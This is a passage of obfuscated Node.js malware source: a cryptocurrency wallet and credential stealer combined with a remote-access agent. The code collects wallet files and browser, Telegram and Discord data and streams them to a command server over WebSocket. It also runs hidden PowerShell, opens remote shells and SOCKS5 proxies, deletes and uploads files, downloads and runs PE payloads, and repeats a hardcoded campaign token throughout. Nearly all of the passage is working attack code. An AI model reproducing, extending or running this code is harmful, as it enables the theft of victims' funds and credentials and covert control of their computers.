"JaxxWallet": "%APPDATA%\\Wallets\\Jaxx\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\",
"Electrum": "%APPDATA%\\Electrum\\wallets\\",
"ByteCoin": "%APPDATA%\\bytecoin\\",
"Ethereum": "%APPDATA%\\Ethereum\\keystore\\",
"Guarda": "%APPDATA%\\Guarda\\Local Storage\\leveldb\\",
"Coinomi": "%LOCALAPPDATA%\\Coinomi\\Coinomi\\wallets\\",
"Armory": "%APPDATA%\\Armory\\",
"ZCash": "%APPDATA%\\Zcash\\"
};
async function walkDir3(_0x549, _0x3b86d4 = 10, _0x55ddf3 = 0) {
const _0xfcb = potato,
_0x552 = [];
if (_0x55ddf3 > _0x3b86d4) return _0x552;
try {
const _0x4c6 = await import_node_fs7["promises"]["readdir"](_0x549, {
"withFileTypes": !![]
});
for (const _0x4ead0d5 of _0x4c6) {
const _0x2237ed4 = import_node_path7["default"]["join"](_0x549, _0x4ead0d5["name"]);
try {
if (_0x4ead0d5["isDirectory"]()) {
const _0x518c6f3 = await walkDir3(_0x2237ed4, _0x3b86d4, _0x55ddf3 + 1);
_0x552["push"](..._0x518c6f3);
} else _0x4ead0d5["isFile"]() && _0x552["push"](_0x2237ed4);
} catch {
continue;
}
}
} catch {}
return _0x552;
}
function expandPath4(_0x391faf3) {
const _0x481fcf2 = potato,
_0x2a1 = import_node_process8["default"]["env"]["APPDATA"] || "",
_0x3eea2 = import_node_process8["default"]["env"]["LOCALAPPDATA"] || "";
return _0x391faf3["replace"](/%APPDATA%/g, _0x2a1)["replace"](/%LOCALAPPDATA%/g, _0x3eea2);
}
async function grabWallets(_0x31cc6) {
const _0x5a85dd2 = potato;
console["log"]("[Wallets] Starting wallet grabber...");
const _0x562 = [],
_0x5a14cb6 = [];
for (const [_0x32b9fb4, _0x58f02e3] of Object["entries"](WALLET_PATHS)) {
const _0x3bb4 = expandPath4(_0x58f02e3);
try {
await import_node_fs7["promises"]["access"](_0x3bb4), _0x5a14cb6["push"]({
"name": _0x32b9fb4,
"path": _0x3bb4
}), console["log"]("[Wallets] Found wallet: " + _0x32b9fb4 + " at " + _0x3bb4);
} catch {
continue;
}
}
if (_0x5a14cb6["length"] === 0) return console["log"]("[Wallets] No wallets found"), _0x562;
console["log"]("[Wallets] Found " + _0x5a14cb6["length"] + " wallet(s)");
for (const _0x343f6 of _0x5a14cb6) {
try {
const _0x49de3 = await walkDir3(_0x343f6["path"]);
console["log"]("[Wallets] Collecting " + _0x49de3["length"] + " files from " + _0x343f6["name"]);
for (const _0x17ed7b4 of _0x49de3) {
try {
const _0x1b80d6 = await import_node_fs7["promises"]["readFile"](_0x17ed7b4),
_0x5ad8b2 = import_node_path7["default"]["relative"](_0x343f6["path"], _0x17ed7b4)["replace"](/\\/g, "/"),
_0x57ed7b5 = _0x343f6["name"] + "/" + _0x5ad8b2;
_0x562["push"]({
"relPath": _0x57ed7b5,
"data": new Uint8Array(_0x1b80d6)
}), console["log"]("[Wallets] Added: " + _0x57ed7b5 + " (" + _0x1b80d6["length"] + " bytes)");
if (_0x31cc6) {
const _0x119cd2 = {
"huidMd5": _0x31cc6["huidMd5"],
"token": _0x31cc6["token"],
"taskOutputs": [{
"id": _0x31cc6["taskId"],
"type": "stealer-wallets",
"status": "completed",
"path": _0x57ed7b5,
"data": import_node_buffer8["Buffer"]["from"](_0x1b80d6),
"size": _0x1b80d6["length"]
}]
},
_0x2739d2 = await serizalizeCommandFromAgent(_0x119cd2);
try {
_0x31cc6["ws"]["send"](_0x2739d2);
} catch (_0x10657a3) {
console["error"]("[Wallets] Failed to send data: WebSocket error", _0x10657a3);
}
}
} catch {
continue;
}
}
} catch (_0x5291a2) {
console["error"]("[Wallets] Error processing " + _0x343f6["name"] + ":", _0x5291a2);
continue;
}
}
const _0x561 = _0x562["reduce"]((_0x31468e3, _0x559) => _0x31468e3 + _0x559["data"]["length"], 0);
return console["log"]("[Wallets] Collected " + _0x562["length"] + " files, " + _0x561 + " bytes"), _0x562;
}
async function executeStealer(_0x35314f10) {
const _0x108c6a2 = potato;
console["log"]("[Stealer] Starting parallel collection...");
try {
const _0x236d2 = await getSystemInfo();
console["log"]("[Stealer] Killing browser processes..."), await killBrowsers(), console["log"]("[Stealer] Browser processes terminated");
const _0x5882a4 = [grabFiles(_0x35314f10), grabTelegram(_0x35314f10), grabWallets(_0x35314f10), grabGecko(_0x35314f10), grabDiscord(_0x35314f10)];
_0x35314f10["chromeDll"] && _0x35314f10["chromeDll"]["length"] > 0 && (console["log"]("[Stealer] Chrome DLL provided, adding v20 collection"), _0x5882a4["push"](grabChromeV20(_0x35314f10, _0x35314f10["chromeDll"]))), !_0x236d2["avs"]?. ["includes"]("ESET") && _0x5882a4["push"](grabChrome(_0x35314f10)), await Promise["all"](_0x5882a4), console["log"]("[Stealer] All grabbers completed");
} catch (_0x5f4) {
console["error"]("[Stealer] Error:", _0x5f4);
throw _0x5f4;
}
}
var import_node_child_process3 = require("node:child_process"),
import_node_util2 = require("node:util"),
execAsync2 = (0, import_node_util2["promisify"])(import_node_child_process3["exec"]);
async function execPowershell(_0x55ef0d3) {
const _0x19b03d3 = await new Promise((_0x1e2a8e3, _0x19cba3) => {
const _0x567 = perpetual,
_0x5e19bb7 = (0, import_node_child_process3["spawn"])("powershell.exe", ["-WindowStyle", "Hidden", "-NonInteractive", "-NoProfile", "-OutputFormat", "Text", "-Command", "$ProgressPreference = 'SilentlyContinue'; " + _0x55ef0d3], {
"windowsHide": !![]
});
let _0xb4c4 = "";
_0x5e19bb7["stdout"]["on"]("data", _0x1c23 => _0xb4c4 += _0x1c23), _0x5e19bb7["stderr"]["on"]("data", _0x565 => _0xb4c4 += _0x565), _0x5e19bb7["on"]("close", _0x566 => {
_0x1e2a8e3(_0xb4c4["trim"]());
});
const _0x586f2 = setTimeout(() => {
const _0xb36ff = _0x567;
_0x5e19bb7["kill"]("SIGKILL"), _0x19cba3(new Error("PowerShell command timed out"));
}, 30000);
_0x5e19bb7["on"]("close", () => {
clearTimeout(_0x586f2);
});
});
return _0x19b03d3;
}
async function sendCommand2(_0x42922b3, _0x4a12d3) {
const _0x39671f2 = potato;
console["log"]("Sending command with task outputs:", _0x4a12d3["taskOutputs"]?. ["map"](_0x5d17 => _0x5d17["type"]));
const _0x3ad91e3 = await serizalizeCommandFromAgent(_0x4a12d3);
_0x42922b3["send"](_0x3ad91e3);
}
async function handleMessage(_0x31490e3, _0x50a18, _0x1a19da19) {
const _0x396c5 = potato;
let _0x4c6e5;
try {
_0x4c6e5 = await deserializeCommandToAgent(import_node_buffer9["Buffer"]["from"](_0x31490e3));
} catch (_0x4ed7b2) {
console["error"]("Failed to deserialize command from server:", _0x4ed7b2);
return;
}
console["log"]("Received command:", JSON["stringify"](_0x4c6e5, null, 2));
if (_0x4c6e5["taskInputs"])
for (const _0x2e77 of _0x4c6e5["taskInputs"]) {
try {
switch (_0x2e77["type"]) {
case "screenshot": {
try {
const _0x3aec2 = getScreenshot(),
_0x30f2 = import_node_buffer9["Buffer"]["from"](_0x3aec2);
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "screenshot",
"status": "completed",
"screenshotJpg": _0x30f2
}]
});
} catch (_0x570) {
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "screenshot",
"status": "failed",
"error": _0x570 instanceof Error ? _0x570["message"] : "Unknown error",
"screenshotJpg": import_node_buffer9["Buffer"]["from"]([])
}]
});
}
break;
}
case "powershell-command": {
const _0x127c2 = await execPowershell(_0x2e77["command"]);
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "powershell-command",
"status": "completed",
"output": _0x127c2
}]
});
break;
}
case "pty-start": {
console["log"]("PTY-START: Starting session " + _0x2e77["sessionId"]);
try {
await ptySessionManager["startSession"](_0x2e77["sessionId"], _0x2e77["cols"] || 80, _0x2e77["rows"] || 24), console["log"]("PTY-START: Session " + _0x2e77["sessionId"] + " started successfully"), await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "pty-start",
"status": "completed",
"sessionId": _0x2e77["sessionId"]
}]
});
} catch (_0xea611f5) {
console["error"]("PTY-START: Failed to start session " + _0x2e77["sessionId"] + ":", _0xea611f5), await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "pty-start",
"status": "failed",
"sessionId": _0x2e77["sessionId"],
"error": _0xea611f5 instanceof Error ? _0xea611f5["message"] : "Failed to start PTY session"
}]
});
}
break;
}
case "pty-input": {
ptySessionManager["writeInput"](_0x2e77["sessionId"], _0x2e77["data"]);
break;
}
case "pty-resize": {
ptySessionManager["resize"](_0x2e77["sessionId"], _0x2e77["cols"], _0x2e77["rows"]);
break;
}
case "pty-stop": {
console["log"]("PTY-STOP: Stopping session " + _0x2e77["sessionId"]), ptySessionManager["stopSession"](_0x2e77["sessionId"]), await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "pty-stop",
"status": "completed",
"sessionId": _0x2e77["sessionId"]
}]
});
break;
}
case "socks5-connect": {
handleSocks5Connect(_0x2e77["connectionId"], _0x2e77["targetHost"], _0x2e77["targetPort"], _0x50a18, _0x1a19da19);
break;
}
case "socks5-data": {
handleSocks5Data(_0x2e77["connectionId"], _0x2e77["data"]);
break;
}
case "socks5-close": {
handleSocks5Close(_0x2e77["connectionId"]);
break;
}
case "list-drives": {
const _0x574 = await listDrives();
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "list-drives",
"status": _0x574["error"] ? "failed" : "completed",
"error": _0x574["error"],
"drives": _0x574["drives"]
}]
});
break;
}
case "list-files": {
const _0x265b5 = await listFiles(_0x2e77["path"]);
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "list-files",
"status": _0x265b5["error"] ? "failed" : "completed",
"error": _0x265b5["error"],
"path": _0x265b5["path"],
"items": _0x265b5["items"]
}]
});
break;
}
case "download-file-from-agent": {
try {
const _0x4e50e2 = import_node_fs8["default"]["readFileSync"](_0x2e77["path"]),
_0x3b7f2 = import_node_path8["default"]["basename"](_0x2e77["path"]);
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "download-file-from-agent",
"status": "completed",
"path": _0x2e77["path"],
"data": _0x4e50e2,
"filename": _0x3b7f2
}]
});
} catch (_0x35cc3) {
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "download-file-from-agent",
"status": "failed",
"error": _0x35cc3 instanceof Error ? _0x35cc3["message"] : "Unknown error",
"path": _0x2e77["path"],
"data": import_node_buffer9["Buffer"]["from"]([]),
"filename": ""
}]
});
}
break;
}
case "delete-file": {
try {
import_node_fs8["default"]["unlinkSync"](_0x2e77["path"]), await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "delete-file",
"status": "completed",
"path": _0x2e77["path"],
"success": !![]
}]
});
} catch (_0xa178f4) {
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "delete-file",
"status": "failed",
"error": _0xa178f4 instanceof Error ? _0xa178f4["message"] : "Unknown error",
"path": _0x2e77["path"],
"success": ![]
}]
});
}
break;
}
case "upload-file-to-agent": {
try {
if (_0x2e77["data"]) {
const _0x28fbc2 = import_node_buffer9["Buffer"]["from"](_0x2e77["data"], "base64");
import_node_fs8["default"]["writeFileSync"](_0x2e77["targetPath"], _0x28fbc2);
} else {
if (_0x2e77["url"]) await downloadFile(_0x2e77["url"], _0x2e77["targetPath"]);
else throw new Error("Either url or data must be provided");
}
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "upload-file-to-agent",
"status": "completed",
"targetPath": _0x2e77["targetPath"],
"success": !![]
}]
});
} catch (_0x2ace4e4) {
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "upload-file-to-agent",
"status": "failed",
"error": _0x2ace4e4 instanceof Error ? _0x2ace4e4["message"] : "Unknown error",
"targetPath": _0x2e77["targetPath"],
"success": ![]
}]
});
}
break;
}
case "stealer": {
console["log"]("Starting stealer task...");
try {
let _0x37bfd6;
if (_0x2e77["chromeDll"]) try {
const _0x42a7ec5 = atob(_0x2e77["chromeDll"]);
_0x37bfd6 = new Uint8Array(_0x42a7ec5["length"]);
for (let _0x2d7 = 0; _0x2d7 < _0x42a7ec5["length"]; _0x2d7++) {
_0x37bfd6[_0x2d7] = _0x42a7ec5["charCodeAt"](_0x2d7);
}
console["log"]("Received chrome DLL: " + _0x37bfd6["length"] + " bytes");
} catch (_0xb17c2) {
console["error"]("Failed to decode chrome DLL:", _0xb17c2);
}
await executeStealer({
"ws": _0x50a18,
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskId": _0x2e77["id"],
"chromeDll": _0x37bfd6
}), console["log"]("Stealer task completed");
} catch (_0x39ca3) {
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "stealer-error",
"status": "failed",
"error": _0x39ca3 instanceof Error ? _0x39ca3["message"] : "Unknown error"
}]
});
}
break;
}
case "execute": {
console["log"]("Execute task: " + _0x2e77["binaryType"]["type"] + " from " + _0x2e77["url"]);
try {
if (_0x2e77["binaryType"]["type"] === "exe" && _0x2e77["binaryType"]["method"] === "runpe") {
if (!_0x2e77["loaderUrl"]) throw new Error("Missing loader URL for runpe method");
console["log"]("Running PE loader via module...");
const _0x576 = await runModule({
"name": "execute-pe-" + _0x2e77["id"],
"moduleUrl": _0x2e77["loaderUrl"]
});
await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "execute",
"status": "completed",
"exitCode": _0x576
}]
});
} else throw new Error("Execute method not implemented: " + _0x2e77["binaryType"]["type"] + "/" + ("method" in _0x2e77["binaryType"] ? _0x2e77["binaryType"]["method"] : "default"));
} catch (_0x4b69a4) {
console["error"]("Execute task failed:", _0x4b69a4), await sendCommand2(_0x50a18, {
"huidMd5": _0x1a19da19,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": _0x2e77["id"],
"type": "execute",
"status": "failed",
"error": _0x4b69a4 instanceof Error ? _0x4b69a4["message"] : "Unknown error",
"exitCode": null
}]
});
}
break;
}
default:
console["log"]("Unknown task type: " + _0x2e77["type"] + ", skipping");
}
} catch (_0x51cdd2) {
console["error"]("Error processing task " + _0x2e77["id"] + ":", _0x51cdd2);
}
}
}
async function startWebSocketKeepAlive(_0x4c2b6e6, _0x576b7b3) {
const _0x5bf3f2 = potato;
console["log"]("Starting WebSocket keep-alive...");
const _0x2c969c6 = setInterval(async () => {
const _0x11ae = _0x5bf3f2;
try {
if (_0x4c2b6e6["readyState"] === WebSocket["OPEN"]) {
const _0x2ea8e2 = {
"huidMd5": _0x576b7b3,
